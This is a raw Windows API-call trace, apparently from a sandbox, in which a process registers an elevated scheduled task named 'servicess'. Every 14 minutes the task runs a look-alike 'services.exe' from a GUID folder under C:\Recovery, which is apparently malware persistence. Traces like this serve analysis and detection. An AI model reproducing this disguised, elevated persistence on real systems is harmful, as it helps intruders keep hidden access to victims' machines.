0x200000 [0060.560] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ce50 [0060.560] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.560] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0060.560] lstrlenW (lpString="Second") returned 6 [0060.560] GetProcessHeap () returned 0x200000 [0060.560] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21d780 [0060.560] GetProcessHeap () returned 0x200000 [0060.560] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ce20 [0060.560] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.560] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0060.560] lstrlenW (lpString="Third") returned 5 [0060.560] GetProcessHeap () returned 0x200000 [0060.560] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xc) returned 0x21d7a0 [0060.560] GetProcessHeap () returned 0x200000 [0060.560] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cdf0 [0060.560] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.561] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0060.561] lstrlenW (lpString="Fourth") returned 6 [0060.561] GetProcessHeap () returned 0x200000 [0060.561] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21d7c0 [0060.561] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.561] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0060.561] lstrlenW (lpString="Last") returned 4 [0060.561] GetProcessHeap () returned 0x200000 [0060.561] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xa) returned 0x21d7e0 [0060.561] lstrlenW (lpString="14") returned 2 [0060.561] _wtol (_String="14") returned 14 [0060.561] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.561] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0060.561] lstrlenW (lpString="First") returned 5 [0060.561] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.561] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0060.561] lstrlenW (lpString="Second") returned 6 [0060.561] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.561] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0060.561] lstrlenW (lpString="Third") returned 5 [0060.561] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.561] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0060.561] lstrlenW (lpString="Fourth") returned 6 [0060.561] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.561] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0060.562] lstrlenW (lpString="Last") returned 4 [0060.562] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x19c540, cchData=128 | out: lpLCData="0") returned 2 [0060.562] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.562] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0060.562] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0060.562] GetProcessHeap () returned 0x200000 [0060.562] GetProcessHeap () returned 0x200000 [0060.562] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d760) returned 1 [0060.562] GetProcessHeap () returned 0x200000 [0060.562] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d760) returned 0xc [0060.562] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d760 | out: hHeap=0x200000) returned 1 [0060.562] GetProcessHeap () returned 0x200000 [0060.562] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x16) returned 0x21d760 [0060.562] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x19c560, cchData=128 | out: lpLCData="0") returned 2 [0060.562] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.562] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0060.562] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0060.562] GetProcessHeap () returned 0x200000 [0060.562] GetProcessHeap () returned 0x200000 [0060.562] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d780) returned 1 [0060.562] GetProcessHeap () returned 0x200000 [0060.562] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d780) returned 0xe [0060.562] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d780 | out: hHeap=0x200000) returned 1 [0060.562] GetProcessHeap () returned 0x200000 [0060.562] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x16) returned 0x21d780 [0060.562] GetLocalTime (in: lpSystemTime=0x19c790 | out: lpSystemTime=0x19c790*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2d, wMilliseconds=0xc9)) [0060.563] lstrlenW (lpString="") returned 0 [0060.563] GetLocalTime (in: lpSystemTime=0x19d048 | out: lpSystemTime=0x19d048*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2d, wMilliseconds=0xc9)) [0060.563] lstrlenW (lpString="") returned 0 [0060.563] lstrlenW (lpString="") returned 0 [0060.563] lstrlenW (lpString="") returned 0 [0060.563] lstrlenW (lpString="") returned 0 [0060.563] lstrlenW (lpString="14") returned 2 [0060.563] _wtol (_String="14") returned 14 [0060.563] lstrlenW (lpString="") returned 0 [0060.563] lstrlenW (lpString="") returned 0 [0060.563] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0060.579] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0060.596] CoCreateInstance (in: rclsid=0xff081ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff081ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x19ce10 | out: ppv=0x19ce10*=0x30dee0) returned 0x0 [0060.607] TaskScheduler:ITaskService:Connect (This=0x30dee0, serverName=0x19cef0*(varType=0x8, wReserved1=0x19, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x19ceb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x19ced0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x19ce90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0060.613] TaskScheduler:IUnknown:AddRef (This=0x30dee0) returned 0x2 [0060.613] TaskScheduler:ITaskService:GetFolder (in: This=0x30dee0, Path=0x0, ppFolder=0x19cfa8 | out: ppFolder=0x19cfa8*=0x487e30) returned 0x0 [0060.961] TaskScheduler:ITaskService:NewTask (in: This=0x30dee0, flags=0x0, ppDefinition=0x19cfa0 | out: ppDefinition=0x19cfa0*=0x487e80) returned 0x0 [0060.962] ITaskDefinition:get_Actions (in: This=0x487e80, ppActions=0x19cf20 | out: ppActions=0x19cf20*=0x487f40) returned 0x0 [0060.962] IActionCollection:Create (in: This=0x487f40, Type=0, ppAction=0x19cf40 | out: ppAction=0x19cf40*=0x486790) returned 0x0 [0060.962] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.962] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.962] lstrlenW (lpString=" ") returned 1 [0060.962] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0060.962] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0060.962] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0060.962] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0060.962] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0060.962] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0060.962] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0060.962] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0060.962] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0060.962] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0060.962] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0060.962] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0060.962] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0060.963] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0060.964] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0060.964] IUnknown:Release (This=0x486790) returned 0x1 [0060.965] IUnknown:Release (This=0x487f40) returned 0x1 [0060.965] ITaskDefinition:get_Triggers (in: This=0x487e80, ppTriggers=0x19caa0 | out: ppTriggers=0x19caa0*=0x486500) returned 0x0 [0060.965] ITriggerCollection:Create (in: This=0x486500, Type=1, ppTrigger=0x19ca98 | out: ppTrigger=0x19ca98*=0x486800) returned 0x0 [0060.965] lstrlenW (lpString="14") returned 2 [0060.965] _vsnwprintf (in: _Buffer=0x19ca20, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x19ca18 | out: _Buffer="PT14M") returned 5 [0060.965] ITrigger:get_Repetition (in: This=0x486800, ppRepeat=0x19ca90 | out: ppRepeat=0x19ca90*=0x486890) returned 0x0 [0060.965] IRepetitionPattern:put_Interval (This=0x486890, Interval="PT14M") returned 0x0 [0060.965] IUnknown:Release (This=0x486890) returned 0x1 [0060.965] _vsnwprintf (in: _Buffer=0x19c9e0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x19c9b8 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0060.966] ITrigger:put_StartBoundary (This=0x486800, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0060.966] lstrlenW (lpString="") returned 0 [0060.966] lstrlenW (lpString="") returned 0 [0060.966] lstrlenW (lpString="") returned 0 [0060.966] lstrlenW (lpString="") returned 0 [0060.966] IUnknown:Release (This=0x486800) returned 0x1 [0060.966] IUnknown:Release (This=0x486500) returned 0x1 [0060.966] ITaskDefinition:get_Settings (in: This=0x487e80, ppSettings=0x19cf40 | out: ppSettings=0x19cf40*=0x486570) returned 0x0 [0060.966] lstrlenW (lpString="") returned 0 [0060.966] IUnknown:Release (This=0x486570) returned 0x1 [0060.966] GetLocalTime (in: lpSystemTime=0x19cdf8 | out: lpSystemTime=0x19cdf8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2d, wMilliseconds=0x25e)) [0060.966] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0060.967] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0060.967] GetUserNameW (in: lpBuffer=0x19ce20, pcbBuffer=0x19ce08 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x19ce08) returned 1 [0060.981] ITaskDefinition:get_RegistrationInfo (in: This=0x487e80, ppRegistrationInfo=0x19cdf0 | out: ppRegistrationInfo=0x19cdf0*=0x486440) returned 0x0 [0060.981] IRegistrationInfo:put_Author (This=0x486440, Author="") returned 0x0 [0060.981] _vsnwprintf (in: _Buffer=0x19ce20, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x19cdb8 | out: _Buffer="2023-09-19T17:16:45") returned 19 [0060.981] IRegistrationInfo:put_Date (This=0x486440, Date="") returned 0x0 [0060.981] IUnknown:Release (This=0x486440) returned 0x1 [0060.982] malloc (_Size=0x18) returned 0x486910 [0060.982] free (_Block=0x486910) [0060.982] lstrlenW (lpString="") returned 0 [0060.982] ITaskDefinition:get_Principal (in: This=0x487e80, ppPrincipal=0x19d010 | out: ppPrincipal=0x19d010*=0x4866e0) returned 0x0 [0060.982] IPrincipal:put_RunLevel (This=0x4866e0, RunLevel=1) returned 0x0 [0060.982] IUnknown:Release (This=0x4866e0) returned 0x1 [0060.982] malloc (_Size=0x18) returned 0x486910 [0060.982] ITaskFolder:RegisterTaskDefinition (in: This=0x487e30, Path="servicess", pDefinition=0x487e80, flags=6, UserId=0x19d090*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x19d0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x19efa0, varVal2=0xfe), LogonType=3, sddl=0x19d0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x19cfb0 | out: ppTask=0x19cfb0*=0x486ab0) returned 0x0 [0061.274] free (_Block=0x486910) [0061.274] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0061.275] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0061.275] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0061.275] GetProcessHeap () returned 0x200000 [0061.275] GetProcessHeap () returned 0x200000 [0061.275] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d7a0) returned 1 [0061.275] GetProcessHeap () returned 0x200000 [0061.275] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d7a0) returned 0xc [0061.275] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d7a0 | out: hHeap=0x200000) returned 1 [0061.275] GetProcessHeap () returned 0x200000 [0061.275] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x82) returned 0x239e60 [0061.275] _vsnwprintf (in: _Buffer=0x19d6f0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x19cf58 | out: _Buffer="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n") returned 71 [0061.275] _fileno (_File=0x7feffe22ab0) returned -2 [0061.275] _errno () returned 0x484bb0 [0061.275] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0061.275] SetLastError (dwErrCode=0x6) [0061.275] lstrlenW (lpString="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n") returned 71 [0061.275] GetConsoleOutputCP () returned 0x0 [0061.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0061.275] GetConsoleOutputCP () returned 0x0 [0061.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0xff0c1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0061.276] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 71 [0061.276] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0061.276] IUnknown:Release (This=0x486ab0) returned 0x0 [0061.276] TaskScheduler:IUnknown:Release (This=0x487e80) returned 0x0 [0061.276] TaskScheduler:IUnknown:Release (This=0x487e30) returned 0x0 [0061.276] TaskScheduler:IUnknown:Release (This=0x30dee0) returned 0x1 [0061.276] lstrlenW (lpString="") returned 0 [0061.276] lstrlenW (lpString="14") returned 2 [0061.276] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="14", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0061.276] GetProcessHeap () returned 0x200000 [0061.276] GetProcessHeap () returned 0x200000 [0061.276] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c4f0) returned 1 [0061.276] GetProcessHeap () returned 0x200000 [0061.276] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c4f0) returned 0x1fc [0061.277] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c4f0 | out: hHeap=0x200000) returned 1 [0061.277] GetProcessHeap () returned 0x200000 [0061.277] GetProcessHeap () returned 0x200000 [0061.277] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215590) returned 1 [0061.277] GetProcessHeap () returned 0x200000 [0061.277] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215590) returned 0x6 [0061.277] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215590 | out: hHeap=0x200000) returned 1 [0061.277] GetProcessHeap () returned 0x200000 [0061.277] GetProcessHeap () returned 0x200000 [0061.277] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d6c0) returned 1 [0061.277] GetProcessHeap () returned 0x200000 [0061.277] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d6c0) returned 0x16 [0061.277] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d6c0 | out: hHeap=0x200000) returned 1 [0061.277] GetProcessHeap () returned 0x200000 [0061.277] GetProcessHeap () returned 0x200000 [0061.277] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d6a0) returned 1 [0061.277] GetProcessHeap () returned 0x200000 [0061.277] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d6a0) returned 0x18 [0061.277] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d6a0 | out: hHeap=0x200000) returned 1 [0061.277] GetProcessHeap () returned 0x200000 [0061.277] GetProcessHeap () returned 0x200000 [0061.277] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf70) returned 1 [0061.277] GetProcessHeap () returned 0x200000 [0061.278] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cf70) returned 0x20 [0061.278] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf70 | out: hHeap=0x200000) returned 1 [0061.278] GetProcessHeap () returned 0x200000 [0061.278] GetProcessHeap () returned 0x200000 [0061.278] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c190) returned 1 [0061.278] GetProcessHeap () returned 0x200000 [0061.278] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c190) returned 0xa0 [0061.279] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c190 | out: hHeap=0x200000) returned 1 [0061.279] GetProcessHeap () returned 0x200000 [0061.279] GetProcessHeap () returned 0x200000 [0061.279] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bc10) returned 1 [0061.279] GetProcessHeap () returned 0x200000 [0061.279] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bc10) returned 0x18 [0061.279] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bc10 | out: hHeap=0x200000) returned 1 [0061.279] GetProcessHeap () returned 0x200000 [0061.279] GetProcessHeap () returned 0x200000 [0061.279] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ccd0) returned 1 [0061.279] GetProcessHeap () returned 0x200000 [0061.279] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ccd0) returned 0x20 [0061.280] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ccd0 | out: hHeap=0x200000) returned 1 [0061.280] GetProcessHeap () returned 0x200000 [0061.280] GetProcessHeap () returned 0x200000 [0061.280] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3f0) returned 1 [0061.280] GetProcessHeap () returned 0x200000 [0061.280] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c3f0) returned 0x80 [0061.281] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3f0 | out: hHeap=0x200000) returned 1 [0061.281] GetProcessHeap () returned 0x200000 [0061.281] GetProcessHeap () returned 0x200000 [0061.281] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d6e0) returned 1 [0061.281] GetProcessHeap () returned 0x200000 [0061.281] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d6e0) returned 0x18 [0061.281] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d6e0 | out: hHeap=0x200000) returned 1 [0061.281] GetProcessHeap () returned 0x200000 [0061.281] GetProcessHeap () returned 0x200000 [0061.281] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cca0) returned 1 [0061.281] GetProcessHeap () returned 0x200000 [0061.281] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cca0) returned 0x20 [0061.281] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cca0 | out: hHeap=0x200000) returned 1 [0061.281] GetProcessHeap () returned 0x200000 [0061.281] GetProcessHeap () returned 0x200000 [0061.281] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21de50) returned 1 [0061.282] GetProcessHeap () returned 0x200000 [0061.282] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21de50) returned 0x82 [0061.282] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21de50 | out: hHeap=0x200000) returned 1 [0061.282] GetProcessHeap () returned 0x200000 [0061.282] GetProcessHeap () returned 0x200000 [0061.282] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d680) returned 1 [0061.282] GetProcessHeap () returned 0x200000 [0061.282] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d680) returned 0x18 [0061.282] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d680 | out: hHeap=0x200000) returned 1 [0061.282] GetProcessHeap () returned 0x200000 [0061.282] GetProcessHeap () returned 0x200000 [0061.282] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc70) returned 1 [0061.282] GetProcessHeap () returned 0x200000 [0061.283] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cc70) returned 0x20 [0061.283] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc70 | out: hHeap=0x200000) returned 1 [0061.283] GetProcessHeap () returned 0x200000 [0061.283] GetProcessHeap () returned 0x200000 [0061.283] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c4d0) returned 1 [0061.283] GetProcessHeap () returned 0x200000 [0061.283] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c4d0) returned 0xe [0061.283] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c4d0 | out: hHeap=0x200000) returned 1 [0061.283] GetProcessHeap () returned 0x200000 [0061.283] GetProcessHeap () returned 0x200000 [0061.283] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c4b0) returned 1 [0061.283] GetProcessHeap () returned 0x200000 [0061.283] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c4b0) returned 0x18 [0061.283] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c4b0 | out: hHeap=0x200000) returned 1 [0061.283] GetProcessHeap () returned 0x200000 [0061.283] GetProcessHeap () returned 0x200000 [0061.284] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215ea0) returned 1 [0061.284] GetProcessHeap () returned 0x200000 [0061.284] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215ea0) 